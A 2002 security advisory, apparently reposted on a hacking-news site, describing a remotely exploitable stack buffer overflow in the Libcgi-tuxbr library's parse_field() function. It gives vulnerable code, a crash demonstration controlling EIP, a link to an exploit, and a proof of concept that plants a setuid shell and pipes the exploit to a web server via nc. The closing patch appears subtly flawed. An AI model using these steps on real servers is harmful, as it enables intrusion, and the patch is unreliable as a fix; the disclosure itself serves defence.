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Home » Hacking News » Remote Multiple Buffer Overflow(s) vulnerability in Libcgi-tuxbr.

Remote Multiple Buffer Overflow(s) vulnerability in Libcgi-tuxbr.

by Nikola Strahija on November 29th, 2002 LIBCGI is a simple of functions to create CGI programs in C. It provides support for both GET and POST request methods, parsing data, an URLDecode function, access to MySQL functions, and excellent documentation.


Vulnerability happens because of 'parse_field()' function.
It's in 129 lines of 'cgi_lib.c' code.
Let's examine.

__
129 void parse_field(char *field, char *rtnfield)
...
132 char *ptr,
133 *endptr,
134 tmp_field[128];
...
137 sprintf(tmp_field,"%s=",field); // "field1="
138
139 if((ptr=strstr(req_http,tmp_field))!=NULL)
140 {
141 ptr+=strlen(tmp_field); // "[value]&field2=[value2]&field3=[value3]"
142
143 if((endptr=strchr(ptr,'&'))!=NULL) // "&field2=[value2]&field3=[value3]"
144 {
145 memmove(rtnfield, ptr, (endptr - ptr)+1); // here.
146 rtnfield[(endptr - ptr)]='';
147 }
...
--

Attacker can change flowing of program easily in remote.


0x02. Vulnerable Packages


Vendor site: http://www.tuxbr.com.br/

libcgi-1.0.3
-libcgi-1.0.3.tar.gz
+Linux
libcgi-1.0.2
-libcgi-1.0.2.tar.gz


0x03. Exploit


There is very good CGI example program.
The CGI program uses parse_field().

Example CGI Program: /cgi-bin/sample3.cgi

let's examine source code.

__
6 char name[64], // 64
7 address[64],
8 tel[64];
...
12 parse_field("name",name); // exploitable !
13 parse_field("address",address);
14 parse_field("telephone",tel);
--

I'm going to do test simply.
See well.


#) Testing. (RedHat Linux 8.0, locale (GNU libc) 2.2.93)


bash$ export QUERY_STRING="name=test&address=test&telephone=test"
bash$ ./sample3.cgi
Content-type: text/plain



*************************** SAMPLE LIBCGIMYSQL *********************


Name=test
Address=test
Telephone=test


*************************** FIM SAMPLE *********************


bash$ export QUERY_STRING="name=`perl -e 'print "x"x92'`AAAA&address=test&telephone=test"
bash$ gdb -q sample3.cgi
(gdb) r
Starting program: /usr/local/apache/cgi-bin/sample3.cgi
Content-type: text/plain



*************************** SAMPLE LIBCGIMYSQL *********************


Name=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxAAAA
Address=test
Telephone=test


*************************** FIM SAMPLE *********************



Program received signal SIGSEGV, Segmentation fault.
0x41414141 in registros () from /usr/lib/libcgituxbr.so.1
(gdb) bt
#0 0x41414141 in registros () from /usr/lib/libcgituxbr.so.1
#1 0x00000000 in ?? ()
(gdb) i r
eax 0x0 0
ecx 0x40013000 1073819648
edx 0x43218320 1126269728
ebx 0x78787878 2021161080
esp 0xbffffa90 0xbffffa90
ebp 0x78787878 0x78787878
esi 0x78787878 2021161080
edi 0x78787878 2021161080
eip 0x41414141 0x41414141
eflags 0x10282 66178
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x0 0
fctrl 0x37f 895
fstat 0x0 0
ftag 0xffff 65535
fiseg 0x0 0
fioff 0x0 0
foseg 0x0 0
fooff 0x0 0
---Type to continue, or q to quit---q
Quit
(gdb)


It's very basic stack based overflow.
Can do exploit in remote.

exploit URL: http://x82.inetcop.org/h0me/c0de/0x82-Remote.tuxbrLibcgi.s


#) Proof of concept


sh-2.05b$ id
uid=501(x82) gid=501(x82) groups=501(x82),10(wheel)
sh-2.05b$ cat > /tmp/x82
#!/bin/sh
cp /bin/sh /tmp/nobody-sh
chmod 4755 /tmp/nobody-sh
^C
sh-2.05b$ chmod 755 /tmp/x82
sh-2.05b$ gcc -o 0x82-Remote.tuxbrLibcgi 0x82-Remote.tuxbrLibcgi.s
sh-2.05b$ (./0x82-Remote.tuxbrLibcgi;cat)|nc localhost 80
HTTP/1.1 500 Internal Server Error
Date: Thu, 21 Nov 2002 03:01:46 GMT
Server: Apache/1.3.20 (Unix)
Connection: close
Content-Type: text/html; charset=iso-8859-1


...
500 Internal Server Error

Internal Server Error


...


Apache/1.3.20 Server at localhost.localdomain Port 80



sh-2.05b$
sh-2.05b$ /tmp/nobody-sh -p
nobody-sh-2.05b$ whoami
nobody
nobody-sh-2.05b$


0x04. Patch


=== libcgi.patch ===

--- cgi_lib.c Sat Dec 29 07:10:47 2001
+++ cgi_lib.patch.c Thu Nov 21 23:47:13 2002
@@ -126,7 +126,7 @@


//Faz o parse buscando pelo campo na string de request HTTP
-void parse_field(char *field, char *rtnfield)
+void parse_field(char *field, char *rtnfield, int size)
{

char *ptr,
@@ -142,12 +142,12 @@

if((endptr=strchr(ptr,'&'))!=NULL)
{
- memmove(rtnfield, ptr, (endptr - ptr)+1);
+ memmove(rtnfield, ptr, size-1);//(endptr - ptr)+1);
rtnfield[(endptr - ptr)]='';
}
else
{
- memmove(rtnfield, ptr, (strlen(ptr))+1);
+ memmove(rtnfield, ptr, size-1);//(strlen(ptr))+1);
rtnfield[(strlen(ptr))+1]='';
}

--- cgi_lib.h Sun Jan 20 06:58:34 2002
+++ cgi_lib.patch.h Thu Nov 21 23:47:05 2002
@@ -37,7 +37,7 @@
/*********************/

void SwapChar(char *pOriginal, char cBad, char cGood);
-void parse_field(char *field, char *rtnfield);
+void parse_field(char *field, char *rtnfield, int size);
void get_request(unsigned int method, char *request);
void URLDecode(unsigned char *pEncoded);
void vExiterr();
--- samples/sample3.c Thu Dec 27 05:52:12 2001
+++ samples/sample3.patch.c Thu Nov 21 23:51:14 2002
@@ -9,9 +9,9 @@

get_request(1,req_http);

- parse_field("name",name);
- parse_field("address",address);
- parse_field("telephone",tel);
+ parse_field("name",name,(int)sizeof(name));
+ parse_field("address",address,(int)sizeof(address));
+ parse_field("telephone",tel,(int)sizeof(tel));

URLDecode(name);
URLDecode(address);

=== eof ===





--
By "dong-houn yoU" (Xpl017Elz), in INetCop(c) Security.

MSN & E-mail: szoahc(at)hotmail(dot)com,
xploit(at)hackermail(dot)com

INetCop Security Home: http://www.inetcop.org (Korean hacking game)
My World: http://x82.i21c.net

GPG public key: http://wizard.underattack.co.kr/~x82/h0me/pr0file/x82.k3y
--



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